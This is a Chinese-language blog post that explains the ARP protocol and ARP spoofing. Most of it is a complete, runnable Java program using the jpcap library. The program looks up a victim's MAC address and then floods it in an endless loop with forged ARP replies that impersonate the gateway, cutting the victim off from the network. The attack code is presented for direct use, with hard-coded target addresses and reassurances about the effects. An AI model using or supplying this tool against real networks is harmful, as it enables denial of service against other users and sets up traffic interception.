干货,使用java代码教你如何局域网内ARP攻击

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/WiteWater/article/details/84984258

最近在研读《深入理解计算机网络》,发现好多关于网络知识好匮乏。在看到ARP协议时,就在想java不是有接口可以获取计算机mac地址、ip、网卡等信息,是不是也可以伪造被攻击主机的mac地址进行攻击,使其不能上网。

首先,先熟悉一下ARP协议:

地址解析协议(Address Resolution Protocol),其基本功能为透过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,不过在IPv6中已不再适用,并被邻居发现协议(NDP)所替代。目前IPv6已经开始普及。(https://baijiahao.baidu.com/s?id=1616377983144293359&wfr=spider&for=pc

以下是百度截图:

延伸:MAC地址是数据链路层和物理层使用的地址(物理地址),而IP地址是网络层和以上各层使用的地址,是一种逻辑地址。

至于网路层次划分请自行百度。

我们所使用的安装有TCP/IP协议的电脑或路由器里都有一个ARP缓存表,通过cmd命令: arp -a,查询

arp报文格式:14字节 以太网首部 + 28字节 ARP请求/应答

以太网传输层

目标以太网地址:目标MAC地址。FF:FF:FF:FF:FF:FF (二进制全1)为广播地址。 
源以太网地址:发送方MAC地址。 
帧类型:以太类型,ARP为0x0806。

在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。所以需要通过地址解析在主机在发送帧前将目标IP地址转换成目标MAC地址。

情景:当主机A要向本局域网上的某个主机B发送IP数据报时,就先在其ARP高速缓存中查找有无主机B的IP地址。如果有,就在ARP高速缓存中查出其对应的硬件地址,再把其硬件地址写入到MAC帧,然后通过局域网把该MAC帧发往此硬件地址,即实现主机A和主机B通信。

ARP攻击原理: ARP地址转换表是依赖于计算机中高速缓冲存储器动态更新的,而高速缓冲存储器的更新是受到更新周期的限制的,只保存最近使用的地址的映射关系表项,攻击者在高速缓冲存储器更新表项之前修改地址转换表,对于静态的转换表就没办法修改。

ARP请求为广播形式发送的,攻击者就可以向目标主机发送伪ARP应答报文,从而篡改本地的MAC地址表, ARP欺骗可以导致目标计算机与网关通信失败,更会导致通信重定向,所有的数据都会通过攻击者的机器。

ARP攻击,其实就是告诉路由器被攻击主机A的MAC地址是一个假的MAC地址,由于数据在物理层是通过MAC地址来描述目标主机的地址的,而非网络层里使用的IP地址来描述主机地址,也就是说我们请求远程服务的地址最终都会被ARP协议解析成MAC地址,路由器在接收到被攻击主机A发出请求的响应数据后,会查找自己的ARP表,根据ARP表中记录的IP-MAC地址对应获取主机A的MAC地址,然后将获得的响应数据表转发给被攻击主机A,但是,如果路由器查找自己的ARP表得到的是被攻击后记录下的假的MAC地址,那么主机A就不能得到自己想要的数据,对于在操作主机A的用户来说无法打开网站。也就是说路由器通过假的MAC地址发送的数据,不在向主机A发送响应。

小试牛刀:

import java.io.IOException;
import java.net.InetAddress;
import java.util.Arrays;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.packet.Packet;

public class ARPAttack {
    /**
     * 本地主机的0号网络设备,根据具体实际情况对参数0进行修改
     */
    public static NetworkInterface device = JpcapCaptor.getDeviceList()[1];

    /**
     * 通过发送ARP请求包来获取某一IP地址主机的MAC地址。
     * 
     * @param ip
     *            //未知MAC地址主机的IP地址
     * @return //已知IP地址的MAC地址
     * @throws IOException
     */
    public static byte[] getOtherMAC(String ip) throws IOException {
        JpcapCaptor jc = JpcapCaptor.openDevice(device, 2000, false, 3000); // 打开网络设备,用来侦听
        JpcapSender sender = jc.getJpcapSenderInstance(); // 发送器JpcapSender,用来发送报文
        InetAddress senderIP = InetAddress.getByName("192.168.1.104"); // 设置本地主机的IP地址,方便接收对方返回的报文
        InetAddress targetIP = InetAddress.getByName(ip); // 目标主机的IP地址

        ARPPacket arp = new ARPPacket(); // 开始构造一个ARP包
        arp.hardtype = ARPPacket.HARDTYPE_ETHER; // 硬件类型
        arp.prototype = ARPPacket.PROTOTYPE_IP; // 协议类型
        arp.operation = ARPPacket.ARP_REQUEST; // 指明是ARP请求包
        arp.hlen = 6; // 物理地址长度
        arp.plen = 4; // 协议地址长度
        arp.sender_hardaddr = device.mac_address; // ARP包的发送端以太网地址,在这里即本地主机地址
        arp.sender_protoaddr = senderIP.getAddress(); // 发送端IP地址, 在这里即本地IP地址

        byte[] broadcast = new byte[] { (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255 }; // 广播地址
        arp.target_hardaddr = broadcast; // 设置目的端的以太网地址为广播地址
        arp.target_protoaddr = targetIP.getAddress(); // 目的端IP地址

        // 构造以太帧首部
        EthernetPacket ether = new EthernetPacket();
        ether.frametype = EthernetPacket.ETHERTYPE_ARP; // 帧类型
        ether.src_mac = device.mac_address; // 源MAC地址
        ether.dst_mac = broadcast; // 以太网目的地址,广播地址
        arp.datalink = ether; // 将arp报文的数据链路层的帧设置为刚刚构造的以太帧赋给

        sender.sendPacket(arp); // 发送ARP报文

        while (true) { // 获取ARP回复包,从中提取出目的主机的MAC地址,如果返回的是网关地址,表明目的IP不是局域网内的地址
            Packet packet = jc.getPacket();
            if (packet == null) {
                throw new IllegalArgumentException(targetIP + " is not a local address"); // 这种情况也属于目的主机不是本地地址
            }
            if (packet instanceof ARPPacket) {
                ARPPacket p = (ARPPacket) packet;
                if (Arrays.equals(p.target_protoaddr, senderIP.getAddress())) {
                    System.out.println("get mac ok");
                    return p.sender_hardaddr; // 返回
                }
            }
        }
    }

    /**
     * 将字符串形式的MAC地址转换成存放在byte数组内的MAC地址
     * 
     * @param str
     *            字符串形式的MAC地址,如:AA-AA-AA-AA-AA
     * @return 保存在byte数组内的MAC地址
     */
    public static byte[] stomac(String str) {
        byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
        String[] temp = str.split("-");
        for (int x = 0; x < temp.length; x++) {
            mac[x] = (byte) ((Integer.parseInt(temp[x], 16)) & 0xff);
        }
        return mac;
    }

    /**
     * 执行ARP断网攻击。原理是:冒充网关发送出来的ARP应答包,令接收端更改其ARP缓存表,修改网关IP地址对应的MAC地址,从而令数据无法正常通过网关发出。
     * 
     * @param ip
     * @param time
     * @throws InterruptedException
     * @throws IOException
     */
    public static void ArpAttack(String ip, int time) throws InterruptedException, IOException {
        JpcapCaptor jpcap = JpcapCaptor.openDevice(device, 65535, false, 3000);
        jpcap.setFilter("arp", true);
        JpcapSender sender = JpcapSender.openDevice(device);

        ARPPacket arp = new ARPPacket();
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;// 硬件类型
        arp.prototype = ARPPacket.PROTOTYPE_IP; // 协议类型
        arp.operation = ARPPacket.ARP_REPLY; // 指明是ARP应答包包
        arp.hlen = 6;
        arp.plen = 4;

        byte[] srcmac = stomac("00-0D-2B-2E-B1-0A"); // 伪装的MAC地址,这里乱写就行,不过要符合格式、十六进制
        arp.sender_hardaddr = srcmac;
        arp.sender_protoaddr = InetAddress.getByName("192.168.1.1").getAddress();

        arp.target_hardaddr = getOtherMAC(ip);
        arp.target_protoaddr = InetAddress.getByName(ip).getAddress();

        // 设置数据链路层的帧
        EthernetPacket ether = new EthernetPacket();
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;
        ether.src_mac = srcmac; // 停止攻击一段时间后,目标主机会自动恢复网络。若要主动恢复,这里可用getOtherMAC("192.168.1.1");
        ether.dst_mac = getOtherMAC(ip);
        arp.datalink = ether;

        // 发送ARP应答包 。因为一般主机会间隔一定时间发送ARP请求包询问网关地址,所以这里需要设置一个攻击周期。
        while (true) {
            System.out.println("sending ARP..");
            sender.sendPacket(arp);
            Thread.sleep(time);
        }
    }

    /**
     * 程序入口
     * 
     * @param args
     * @throws IOException
     * @throws InterruptedException
     */
    public static void main(String[] args) throws InterruptedException, IOException {
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();
        NetworkInterface ni = null;
        String str = "";
        for (int i = 0; i < devices.length; i++) {
            ni = devices[i];
            for (int j = 0; j < ni.addresses.length; j++) {
                // 一个网卡可能有多个地址,获得本机IP地址
                str = ni.addresses[j].address.toString();
            }
            System.out.println(str);
        }
        ArpAttack("192.168.1.109", 2000);
    }
}

注意:请确定网卡信息。不用担心无法上网,ARP缓存表采用老化机制,在一段时间内如果表中的某一行没有使用,就会被删除。所以说只要停止攻击程序,被攻击的电脑会自动恢复上网。

本文需要的资料链接: https://pan.baidu.com/s/16W6bGVaZaslF3heuutC_vA

猜你喜欢

转载自blog.csdn.net/WiteWater/article/details/84984258
今日推荐